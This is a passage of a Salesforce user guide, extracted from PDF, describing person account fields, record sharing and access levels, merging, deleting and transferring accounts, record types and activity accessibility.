set up by your administrator.

Website

URL of accounts website, for example,


www.acme.com. Up to 255 characters
are allowed in this field; only the first
50 are displayed.

Year Started

The date when an organization was


legally established.This field is only
available to organizations that use
Data.com Corporate or Data.com
Premium.

Person Account Fields


A person account has the following standard fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.) Fields with an X in the Is Contact Field column are contact fields that are supported for person
accounts but not business accounts.
Note that this list does not include any custom fields that your administrator may have created. Both account and contact
custom fields are available for person accounts.
Field

Description

Account Currency

The default currency for all currency


amount fields in the account. Amounts
display in the account currency and are

Is Contact Field

93

Accounts

Field

Account Fields

Description

Is Contact Field

also converted to the users personal


currency. Available only for organizations
that use multiple currencies.
Account Division

Division to which the account belongs.


Records related to the account, such as
contacts and opportunities, automatically
inherit the accounts division. Available
only in organizations that use divisions
to segment their data.

Account Name

The name of the individual. In person


accounts, the account name cannot be
edited directly. Instead, Salesforce derives
it by combining the First Name and
Last Name fields in the appropriate
order per the user's language setting.

Account Name (Local)

The name of the account translated into


the local language.

Account Number

Tracking or reference number for


account. Up to 40 characters are allowed
in this field.

Account Owner

Assigned owner of account. Not available


in Personal Edition.

Account Record Type

Name of the field that determines what


picklist values are available for the record.
Available in Enterprise, Unlimited, and
Developer Editions.

Account Site

Information about the accounts location,


such as single location,
Headquarters, or Branch. Up to 80
characters are allowed in this field.

Annual Revenue

Amount of annual reported revenue.

Assistant

Name of assistant. Up to 40 characters


are allowed in this field.

Asst. Phone

Assistants phone number. Up to 40


characters are allowed in this field.

Billing City

City portion of billing address. Up to 40


characters are allowed in this field.

Billing Country

Country portion of billing address. Up


to 40 characters are allowed in this field.

Billing State/Province

State or province portion of billing


address. Up to 20 characters are allowed
in this field.

94

Accounts

Account Fields

Field

Description

Is Contact Field

Billing Street

Street address used for billing. Up to 255


characters are allowed in this field.

Billing Zip/Postal Code

Zip or postal code portion of billing


address. Up to 20 characters are allowed
in this field.

Birthdate

Birthday. You can enter a date, or choose


a date from the calendar that displays
when you put your cursor in the field.

Created By

User who created the account, including


creation date and time. (Read only)

Custom Links

Listing of custom links for accounts as


set up by your administrator.

Department

Associated business or organizational


unit. Up to 80 characters are allowed in
this field.

Description

Description of account. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.

Do Not Call

Indicates if the person does not want to


be contacted via telephone.

Email

Email address. Must be a valid email


address in the form: jsmith@acme.com.
Up to 80 characters are allowed in this
field.

Email Opt Out

The person's email address will not be


included in mass emails.

Employees

Number of people employed by the


account.

Evaluate this account against When checked, causes account


assignment rules to run when the account
territory rules on save

is edited and saved. When customizing


the page layout for accounts, an
administrator can control whether this
checkbox displays and whether it is
checked by default. See Territory
Management Overview on page 2638.
Exclude from territory
assignment rules

When checked, shields the account from


being evaluated when account assignment
rules are run, preventing it from being
automatically assigned to territories.
Also, if the account is already assigned
to territories as a result of assignment
rules, checking this box removes the
account from those territories. This

95

Accounts

Field

Account Fields

Description

Is Contact Field

checkbox only affects rule-based account


assignments and has no effect on manual
account assignments. See Territory
Management Overview on page 2638.
Fax

Fax number. Up to 40 characters are


allowed in this field.

Fax Opt Out

Indicates if the person has requested not


to be included in broadcast faxes.

First Name

The first or given name of the individual.


Up to 40 characters are allowed in this
field.

Home Phone

Persons home phone number. Up to 40


characters are allowed in this field.

Industry

Primary business of account. Entry is


selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.

Last Name

The surname or family name of the


individual. Up to 80 characters are
allowed in this field.

Last Stay-in-Touch Request


Date

The date that the most recent


Stay-in-Touch request was sent.

Last Stay-in-Touch Save Date

The date that the most recent


Stay-in-Touch request was returned and
merged.

Lead Source

Record source, for example,


Advertisement, Partner, or Web. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.

Mailing City

City portion of mailing address. Up to


40 characters are allowed in this field.

Mailing Country

Country portion of mailing address. Up


to 40 characters are allowed in this field.

Mailing State/Province

State or province portion of mailing


address. Up to 20 characters are allowed
in this field.

Mailing Street

Street mailing address. Up to 255


characters are allowed in this field.

96

Accounts

Account Fields

Field

Description

Is Contact Field

Mailing Zip/Postal Code

Zip or postal code portion of mailing


address. Up to 20 characters are allowed
in this field.

Mobile

Cellular or mobile phone number. Up to


40 characters are allowed in this field.

Modified By

User who last changed the account fields,


including modification date and time.
This does not track changes made to any
of the related list items on the account.
(Read only)

Other City

City portion of additional address. Up to


40 characters are allowed in this field.

Other Country

Country portion of additional address.


Up to 40 characters are allowed in this
field.

Other Phone

Additional phone number listing. Up to


40 characters are allowed in this field.

Other State/Province

State or province portion of additional


address. Up to 20 characters are allowed
in this field.

Other Street

Street address portion of additional


address. Up to 255 characters are allowed
in this field.

Other Zip/Postal Code

Zip or postal code portion of additional


address. Up to 20 characters are allowed
in this field.

Ownership

Ownership of company, for example,


public or private. Entry is selected from
a picklist of available values, which are
set by an administrator. Each picklist
value can have up to 40 characters.

Phone

Primary phone number of account. Up


to 40 characters are allowed in this field.

Rating

Categorization of how you rate this


account, for example, Hot, Cold. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.

Salutation

Title for addressing the person, for


example, Mr., Ms., Dr., or Prof. Entry
is selected from a picklist of available
values, which are set by an administrator.

97

Accounts

Field

Account Fields

Description

Is Contact Field

Each picklist value can have up to 40


characters.
Shipping City

City portion of primary mailing or


shipping address. Up to 40 characters are
allowed in this field.

Shipping Country

Country portion of primary mailing or


shipping address. Up to 40 characters are
allowed in this field.

Shipping State/Province

State or province portion of primary


mailing or shipping address. Up to 20
characters are allowed in this field.

Shipping Street

Primary mailing or shipping street


address of account. Up to 255 characters
are allowed in this field.

Shipping Zip/Postal Code

Zip or postal code portion of primary


mailing or shipping address. Up to 20
characters are allowed in this field.

SIC Code

Standard Industrial Classification code


of the accounts main business
categorization. Up to 10 characters are
allowed in this field.

Territories

The territories to which the account has


been assigned. See Territory
Management Overview on page 2638.

Ticker Symbol

The abbreviation used to identify publicly


traded shares of a particular stock. Also
known as the stock symbol. Up to 20
characters are allowed in this field.

Title

Person's position within his or her


organization. Up to 80 characters are
allowed in this field.

Type

Type of account, for example, Customer,


Competitor, or Partner. Entry is selected
from a picklist of available values, which
are set by an administrator. Each picklist
value can have up to 40 characters.

Website

URL of accounts website, for example,


www.acme.com. Up to 255 characters

98

Accounts

Viewing Parent Accounts

Field

Description

Is Contact Field

are allowed in this field; only the first 50


are displayed.

See Also:
Data.com Product Suite Overview

Viewing Parent Accounts


Available in: All Editions except Database.com

User Permissions Needed


To view accounts:

Read on accounts

To view parent accounts:

Read on accounts

The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global
view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent
account above them.

To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account
Hierarchy page displays up to 500 child accounts. If you dont have access to certain accounts that appear on the Account
Hierarchy page, the columns for those accounts wont display details.
To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent
Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.

The parent account must be an existing account before it can be entered and saved in this field.
For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations.
If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same
division.
The Parent Account field and the View Hierarchy link are not supported for person accounts.

See Also:
Using Accounts
Creating Accounts
What is a Person Account?

99

Accounts

Sharing Accounts

Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model as well as your organization's default account access levels for
territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account
sharing to increase access to your accounts; you cannot restrict access beyond your organizations default access levels.
To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the account. On this page, you can do any of the following:

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant access to the record for other users, groups, roles, or territories.
Note: When you share an account, Salesforce prompts you to share any related contacts, opportunities, or cases,
up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share related
records from the record detail pages. Ensure users have at least Read permission on shared records.
Alternatively, you can share account access by creating an account team.

Click Expand List to view all users that have access to the record.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
For accounts, you can also edit the Owner sharing rule.

See Also:
Granting Access to Records
Viewing Which Users Have Access
Territory Management Overview
Sharing Opportunities
Sharing Contacts
Sharing Cases
Account Teams Overview

100

Accounts

Granting Access to Records

Granting Access to Records


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions
Sharing for campaigns, cases, custom object records, leads, and opportunities is available in Enterprise, Unlimited, and
Developer Editions
Sharing for custom objects is available in Database.com

Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated
records. For example, if you grant another user access to your account, the user will automatically have access to all the
opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner,
any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user
in a role above the owner in the hierarchy.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
To grant access to a record:
1. Click Sharing on the record you want to share.
2. Click Add.
3. From the drop-down list, select the type of group, user, role, or territory to add.
Your choices are:
Type

Description

Public Groups

All public groups defined by your administrator.

Personal Groups

All personal groups defined by the record owner. Only the


record owner can share with his or her personal groups.

Users

All users in your organization. Does not include portal users.

Roles

All roles defined for your organization. This includes all of


the users in that role.

Roles and Subordinates

This includes all of the users in the role plus all of the users
in roles below that role. Only available when no portals are
enabled for your organization.

Roles and Internal Subordinates

All roles defined for your organization. This includes all of


the users in the specified role plus all of the users in roles
below that role, excluding partner portal and Customer
Portal roles.

Roles, Internal and Portal Subordinates

Adding a role and its subordinate roles, includes all of the


users in that role plus all of the users in roles below that role.
Only available when a partner or Customer Portal is enabled
for your organization. Includes portal roles and users.

101

Accounts

Granting Access to Records

Type

Description

Territories

All territories defined for your organization. This includes


all users in that territory. This option is only available if your
organization uses territory management.

Territories and Subordinates

Includes all users in the territory plus the users below that
territory. This option is only available if your organization
uses territory management.

4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing
list.
5. Choose the access level for the record you are sharing and any associated records that you own.
The possible access levels are:
Access Level

Description

Full Access

User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.

Read/Write

User can view and edit the record, and add associated
records, notes, and attachments to it.

Read Only

User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.

Private

User cannot access the record in any way.

Note:

When sharing an opportunity or case, users must also have at least read access to the associated account (unless
you are sharing a case via a case team). If you also have privileges to share the account, users are automatically
given read access to the account. If you do not have privileges to share the account, you must ask the account
owner to give the users read access to it.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
For sharing rules that specify access for associated object records, the given access level applies to that sharing
rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a
user may still have access to associated contacts via other means, such as organization-wide defaults, the Modify
All Data or View All Data permission, or the Modify All or View All permission for contacts.

6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information
on sharing reasons, see Creating Apex Sharing Reasons on page 634.
8. Click Save.

102

Accounts

Viewing Which Users Have Access

Editing or Deleting Record Access


To edit the access levels for a record, click Sharing on the record, and then click Edit next to the group, user, role, or territory
whose access you want to modify. To delete the sharing access for a group, user, role, or territory, click Sharing on the record,
and then click Del next to the group, user, role, or territory whose access you want to remove.

See Also:
Sharing Accounts
Sharing Campaigns
Sharing Cases
Sharing Contacts
Sharing Custom Object Records
Sharing Leads
Sharing Opportunities
Viewing Which Users Have Access
Case Teams Overview
Controlling Access Using Hierarchies
Manually Sharing a Forecast

Viewing Which Users Have Access


Available in: Professional, Enterprise, Unlimited, and Developer Editions

After you have granted access to a record you own, you can view a list of users who have access to the record and its related
information. High-volume portal users and Customer Portal super users are excluded from this list. You can also see an
explanation of each user's access.
1. Click Sharing on the desired record.
2. Click Expand List to view a detailed list of every user who has access that is greater than the organization-wide default
settings.
The list also shows each users access level for the record and any associated records. To show a filtered list of items, select
a predefined list from the View drop-down list, or click Create New View to define your own custom view.
The possible access levels are:
Access Level

Description

Full Access

User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.

Read/Write

User can view and edit the record, and add associated
records, notes, and attachments to it.

Read Only

User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.

103

Accounts

Viewing Which Users Have Access

Access Level

Description

Private

User cannot access the record in any way.

Note: For sharing rules that specify access for associated object records, the given access level applies to that sharing
rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user
may still have access to associated contacts via other means, such as organization-wide defaults, the Modify All
Data or View All Data permission, or the Modify All or View All permission for contacts.
In addition, for forecast sharing, the list shows whether the user can submit a forecast (in forecasting versions where sharing
is available).
3. Click Why? next to a users name to find out why the user has access to the record.
If there are multiple reasons with different access levels, the user is always granted the most permissive access level.
The possible reasons are:
Reason

Description

Account Sharing Rule

The user has access via an account sharing rule created by


the administrator.

Account Sharing

The user was granted access via the Sharing button on the
associated account.

Account Team

The user is a member of the account team.

Account Territory

The account has been assigned to a territory to which the


user has access.

Account Territory Rule

The user has access via an account territory sharing rule


created by the administrator.

Administrator

The user has the Modify All Data or View All Data
administrative permission, or the Modify All or View All
object permission.

Associated Portal User or Role

The portal user or any role above the portal user's role has
access to the account for which the portal user is a contact.

Associated Record Owner or Sharing

The user owns or has sharing access to a contact or contract


associated with the account. Click the link to view which
associated records the user owns or has been given sharing
access to.

Associated Record Sharing

The user is a member of a share group that has access to a


contact or contract that's associated with the account owned
by high-volume portal users.

Campaign Sharing Rule

The user has access via a campaign sharing rule created by


the administrator.

Case Sharing Rule

The user has access via a case sharing rule created by the
administrator.

104

Accounts

Viewing Which Users Have Access

Reason

Description

Contact Sharing Rule

The user has access via a contact sharing rule created by the
administrator.

Delegated Forecast Manager

A user has access to forecast data that was granted via the
Sharing button on the forecast (in forecasting versions where
sharing is available).

Forecast Manager

A user has access due to being a forecast manager in the


forecast hierarchy.

Lead Sharing Rule

The user has access via a lead sharing rule created by the
administrator.

Manager of Territory Member

The user has a subordinate in the role hierarchy who is


assigned to the territory with which the account is associated.

Manual Sharing

The user has access that was granted via the Sharing button
on the record.

Manual Territory Sharing

The account has been manually assigned to a territory to


which the user has access.

Opportunity Sharing Rule

The user has access via an opportunity sharing rule created


by the administrator.

Owner

The user owns the record, or the user is a member of the


queue that owns the record or above the queue member in
the role hierarchy.

Portal Share Group

The user is a member of a share group that has access to


records owned by high-volume portal users.

Related Portal User

The portal user is a contact on the case.

Role Above Owner or Shared User (Portal Only)

The user's role is above the role of a portal user who has
access to the record via ownership or sharing.

Sales Team

The user is a member of the opportunity sales team.

View All Forecasts Permission

The user has the View All Forecasts permission.

105

Accounts

Merging Duplicate Accounts

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

See Also:
Sharing Accounts
Sharing Contacts
Sharing Opportunities
Sharing Cases
Sharing Custom Object Records
Setting Your Organization-Wide Sharing Defaults
Controlling Access Using Hierarchies
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users
Manually Sharing a Forecast

Merging Duplicate Accounts


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To merge business accounts:

Delete on accounts

To merge person accounts:

Delete on accounts
AND
Read on contacts

1. From the Accounts tab, click Merge Accounts in the Tools section.
2. Enter a search string to find the duplicate accounts.
For example, you can enter acme* to find duplicate accounts listed as Acmes and Acme, Inc. Do not use the local name
for the account. Then click Find Accounts.
3. Check the rows of up to three accounts you want to merge. Click Next.
4. Select one account as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the Edit Read Only Fields permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed during the merge.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.

106

Accounts

Merging Duplicate Accounts

6. Click the Merge button to complete the merge.

Tips on Merging Accounts

You can merge accounts if you are an administrator, the account owner, or a user above the account owner in the role
hierarchy and you have the appropriate user permissions.
When merging two accounts that you do not own, you must have Delete permissions on accounts and Edit permissions
on opportunities and cases. You need Delete permissions on accounts because you are deleting one of the accounts when
you perform an account merge. You need Edit permissions on opportunities and cases because changing the account
name field (AccountID) edits any opportunities or cases that are associated with the accounts you are merging.
Any related items from any of the duplicate accounts will be associated with the newly merged account.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, any sharing rules are applied to the newly
merged account. Also, any manual sharing from the Master Record is applied to the merged account.
When you merge accounts that are listed in the Parent Account field of other accounts, the newly merged account is
linked only to the accounts of the selected Master Record.
All discarded duplicate records are moved to the Recycle Bin.
The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge
date as the Modified By date.
If both accounts have different account teams, the merged account will contain members from both account teams.
In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select
otherwise.
When you merge accounts that have territories and the Exclude from account assignment rules box was
deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories.
Also, any manually added territories on the original accounts will be manually added to the new account.
When you merge accounts that have territories and the Exclude from account assignment rules box was checked
on one or both of the original accounts:
The newly merged account has all of the territories of the original accounts.
Account assignment rules will not run on the newly merged account.
If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having
been assigned to the new account based on rules even if the new account does not match the rules.
If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account.
If a territory was added to one account manually and to the other account by rules, it will be manually added to the
new account.

When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see
Merging Accounts Associated with Relationship Groups on page 108.

Tips on Merging Person Accounts

If your organization uses person accounts, both business accounts and person accounts are returned when you search for
duplicates. However, you cannot merge a person account with a business account or vice versa. Person accounts are indicated
by the person account icon ( ).
You can't merge person accounts enabled to use a Customer Portal.

Tips on Merging Accounts Associated with Portals

You must have the Manage Users permission to merge accounts associated with portals.
You can merge accounts that have contacts associated with the same type of portal. For example, you can merge accounts
that have contacts associated with a partner portal or Customer Portal, but you cannot merge an account that has contacts
associated with a partner portal with an account that has contacts associated with a Customer Portal.

107

Accounts

Merging Accounts Associated with Relationship Groups

When you merge accounts that have contacts associated with multiple portals of the same type, a contact's access to a
specific portal does not change. This is because a portal user's profile determines the portal he or she can access.

When merging a partner account with a non-partner account, the partner account must be the master.
When merging partner accounts with a non-partner account, the owner cannot be changed.
To ensure that merged accounts will include contacts associated with a portal, select the account with portal users as the
master record during the merge process.

See Also:
Merging Duplicate Contacts
What is a Person Account?
Creating Partner Accounts

Merging Accounts Associated with Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed


To merge business accounts:

Delete on accounts

To merge person accounts:

Delete on accounts, Read on contacts

When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For
example, if the accounts Joe Bannon all represent the same client and need to be merged, you can use the Merge Accounts
tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship
groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship
group. Review the following considerations before merging accounts that are members of relationship groups:

The account you select as the master record retains its original relationship group memberships. For example, if the master
record Joseph Bannon was a member of the Bannon Family and Bannon Law Firm relationship groups, it remains
a member of those relationship groups.
The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if
the non-master record Joe Bannon was a member of Bannon Trust Beneficiaries, the master record is transferred Joe
Bannon's membership in Bannon Trust Beneficiaries.
If there is a relationship group to which the master record did not originally belong but the multiple non-master records
belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus
secondary) or the account whose member record was most recently modified in the relationship group. For example, if the
non-master records JR Bannon and Joe Bannon both were members of Acme LLP and JR Bannon was primary, then
the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon

108

Accounts

Adding Translated Names

were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then
the master record would be transferred JR Bannon's membership in Acme LLP.

See Also:
Merging Duplicate Accounts
Removing Members from Relationship Group Members

Adding Translated Names


Available in: Professional, Enterprise, Unlimited, and Developer Editions

A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name
of an account in the default language of your organization as well as the accounts or users language. The following fields can
have corresponding local names:
Standard Field

Local Name Field

Account Name

Account Name (Local)

Contact: First Name

Contact: First Name (Local)

Contact: Last Name

Contact: Last Name (Local)

Lead: Company

Lead: Company Name (Local)

Lead: First Name

Lead: First Name (Local)

Lead: Last Name

Lead: Last Name (Local)

Local names do not affect the users language settings. Depending on your page layout settings, they can both be displayed
on the detail or edit page.
To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding
local name fields to your page layout settings.

See Also:
Managing Page Layouts

109

Accounts

Deleting Accounts

Deleting Accounts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To delete accounts:

Delete on accounts

To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page.
When you delete an account it's moved to the Recycle Bin along with any of these related items:

Contacts
Opportunities
Contracts (if they're not activated)
Activities
Notes
Attachments
Portal roles and groups (if all portal users in the account are disabled)
Partner relationships
Relationship group members

If you undelete an account, any related items are also restored except for:

Relationship group members in some cases. See Removing Members from Relationship Group Members on page 2692.
Portal roles and groups. See Using Accounts on page 75.

You can't delete an account if it has been enabled as a partner account, has associated cases, activated contracts, related
opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition, if you
attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether you
want to delete the closed/won opportunities along with the account or to cancel the account deletion.
Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner
in the organization role hierarchy, and if you have the appropriate user permission. You do not need the Delete
permission on any associated records that are included in the deletion.

See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Accounts
What is a Person Account?

110

Accounts

Searching for Accounts

Searching for Accounts


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

1. Enter your search terms in the sidebar or header search box.


If you're using the sidebar, click Advanced Search... to find matches in additional fields.
2. Click Search.
If you're using local account names, search finds matches for standard or local account names.
3. From the search results, click an item to open it or click Edit, if available.
You can also create an account list view to find accounts that match specific criteria.

See Also:
Search Overview
What is a Person Account?

Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

User Permissions Needed


To transfer single records:

Transfer Record

Before transferring a record to a new owner, make sure the new owner has at least Read permission on the object.
1. In the object detail page, click Change next to the Owner field.
If you dont see the Change link, you dont have permissions to change record ownership.
2. Enter or select a new owner. In organizations where the Salesforce Customer Portal or partner portal is enabled, you can
filter the results that appear on the user lookup dialog by selecting either a queue or group of users from the Owner or
Assigned To drop-down list.
Note: Only users you are able to transfer ownership to are visible. Neither the User group nor the Roles and
Internal Subordinates group contains Customer Portal or partner users.

111

Accounts

Changing Ownership

3. Select the Send Notification Email checkbox to notify the new owner.
The From email address displayed in the notification is your return email address as set in the Email Address field
of your email settings.
For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the
Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically
generated and cannot be customized.
4. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear:
Checkbox

Description

Appears For

Change Division

Transfers the record to the new owner's division. All records Accounts and leads, if you
related to the account are transferred to the new division as can view or edit the
well.
Division field

Transfer open
Transfers open opportunities owned by other users that are Accounts
opportunities not
associated with the account.
owned by the existing
account owner

Transfers the closed opportunities associated with the


account. This option applies only to closed opportunities
owned by the account owner; closed opportunities owned
by other users are not changed.

Accounts

Transfer open cases


Transfers any open cases associated with the account that
owned by the existing are owned by the existing account owner.
account owner

Accounts

Transfer closed
opportunities

Transfer closed cases Transfers the closed cases associated with the account. This Accounts

option applies only to closed cases owned by the account


owner; closed cases owned by other users are not changed.
Keep Account Team

Transfers all account team members on the account to the Accounts


new owner.

Keep Sales Team

Preserves the sales team when the opportunity is transferred Opportunities


to the new owner. If this box is unchecked, all sales team
members are deleted when the opportunity is transferred to
the new owner.
Note: If you transfer closed opportunities, the sales
team is maintained, regardless of this setting.

Note: If you change an account owner with both Transfer closed opportunities and Keep Sales
Team deselected, the sales team members' access for closed opportunities becomes Private (that is, the sales team
members lose access to any closed opportunities).
5. Click Save to finish.

112

Accounts

Transfer of Associated Items

After you change a record's owner, the previous owner's visibility reverts to the default sharing setting unless that user is on
an account or sales team.
For example, if the previous owner of an account is on an account team, that user has Read Only or the access specified in
your organization-wide default for accounts, whichever is greater. The previous owner's access to related records remain the
same. This behavior is the same for opportunity owners that are members of a sales team as long as you change ownership
using the API. When you change ownership of an opportunity within Salesforce, you can select the access level you want.

See Also:
Transferring Records Overview
Mass Transferring Records
Assigning Leads
Assigning Cases
Changing Document Authors
Editing Email Settings
Territory Management Overview

Transfer of Associated Items


Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.
Important: Workflow rules that update owners do not also transfer associated items. To ensure transfer, click Change
next to the owners name in a record and make your transfer selections.

Record Type

Associated items that are also transferred

Accounts

Contacts, contracts with Draft status, attachments, notes, and open activities. Depending
on your selections, this can also include open opportunities not owned by the current account
owner, closed opportunities, open cases owned by the existing account owner, and closed
cases.
When a partner account is transferred, partner users associated with that account are moved
into the role hierarchy beneath the new owner.
Contracts with Activated status are not transferred to the new owner, however, the new
owner has read-only access to these contracts.

Contacts

Notes, attachments, and open activities

Opportunities

Notes, attachments, and open activities

Leads

Notes, attachments, and open activities. Open activities are not transferred if you change lead
ownership using the Assign using active assignment rule checkbox.

Cases

Notes, attachments, and open activities

Campaigns

Attachments and open activities

113

Accounts

Changing the Record Type Field

Record Type

Associated items that are also transferred

Contracts

Notes, attachments, and open activities

Custom objects

Notes, attachments, and open activities

Note: You can't transfer events to which you have been invited and don't own.

See Also:
Transferring Records Overview
Changing Ownership

Changing the Record Type Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the record type for a record:

Edit on the object

Record types determine the picklist values that are available when creating and editing a record. When creating a record, you
can choose the record type if you have different record types available to your profile and you have not set your record type
preferences to bypass the record type selection page. When editing existing records, you can change the record type from the
record detail page.
1. Click Change next to the Record Type field on a record detail page.
Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail
page. You must have the Marketing User user permission to change the campaign member type.
2.
3.
4.
5.

Select a record type. The available record types are listed at the bottom of the page.
Click Continue.
Make any changes to the record.
Click Save.
Note: Changes are not saved until you click Save; clicking Continue does not save the record.
If your organization uses person accounts, your administrator has configured two different kinds of record types for
your organization's accounts: one for business accounts, and another for person accounts. You can change an account's

114

Activities

Activity Overview

record type only to another record type of the same kind. For example, you cannot change a person account record
type to one designated for business accounts.

See Also:
Setting Record Type Preferences
What is a Person Account?

ACTIVITIES
Activity Overview
Available in: All Editions except Database.com

Activities include tasks, calendar events, and requested meetings. You can define and track activities for many different objects,
including campaigns, accounts, contacts, and leads.
Activities display in related lists on associated records as well as on the Home tab.
Note: Administrators can modify activity fields and control the page layouts for tasks and events.

See Also:
Activity Accessibility
Creating Activities
Searching for Activities
Activity Fields
Shared Activities Overview

Activity Accessibility
Available in: All Editions except Database.com

Important: If you use Shared Activities, you can view a task if you have access to at least one of the contacts or a lead
related to the task as well as a Related To object.

115

Activities

Activity Accessibility

Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access
activities:
To do this:

You must:

View an activity

Be assigned to the activity, or


Be above the user assigned to the activity in the role
hierarchy, or
Have at least read access to the record to which the activity
is associated, or
Have the View All object-level permission in the related
record, where the sharing model for that record is
Controlled By Parent, or
Have the View All Data permission

Have the Edit Tasks and Edit Events permissions

Create an activity

AND

Edit an activity

Have at least read access to a record, if associating the


activity with another record

Have the Edit Tasks and Edit Events permissions

AND

Be assigned to the activity, or


Be above the user assigned to the activity in the role
hierarchy, or
Have the Modify All object-level permission in the
related record, where the sharing model for that record is
Controlled By Parent, or
Have the Modify All Data permission

Have the Edit Tasks and Edit Events permissions

Delete an activity

AND

View, add, and edit events on other users calendars

Be assigned to the activity, or


Be above the user assigned to the activity in the role
hierarchy, or
Have the Modify All object-level permission in the
related record, where the sharing model for that record is
Controlled By Parent, or
Have the Modify All Data permission
Have the Edit Tasks and Edit Events permissions to
create and edit activities

AND

116

Activities

Viewing Activities

To do this:

You must:

Have access to the users calendar, which depends on your


organization-wide calendar sharing defaults and how the
user has set up individual calendar sharing.
See Setting the Sharing Model on page 625 and Sharing
Your Calendar on page 48.
Note: Events marked as private via the Private
checkbox are accessible only by the user assigned to
the event. Other users cannot see the event details
when viewing that users calendar. However, users
with the View All Data or Modify All Data
permission can see private event details in reports and
searches, or when viewing other users calendars.

Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the activity owner.

See Also:
Viewing Activities
Editing Activities
Deleting Activities
Shared Activities Overview
Activity Fields

Viewing Activities
Available in: All Editions except Database.com

Activities include tasks and calendar events. Activities can display in the following locations:
Home Tab
Many users go to the Home tab to view their tasks and events. For more information, see Using Your Calendar and
Tasks on the Home Page on page 56.
Activity Feed (Chatter)
Display a Chatter feed of updates, comments, and posts about the activity.
Open Activities and Activity History Related Lists
You can also view, create, and update activities from the Open Activities and Activity History related lists of an associated
record. These related lists show all activities associated with the record, including activities that are assigned to other

117

Activities

Viewing Activities

users. For more information, see Using the Open Activities Related List on page 129 and Using the Activity History
Related List on page 130.
Activity List Views
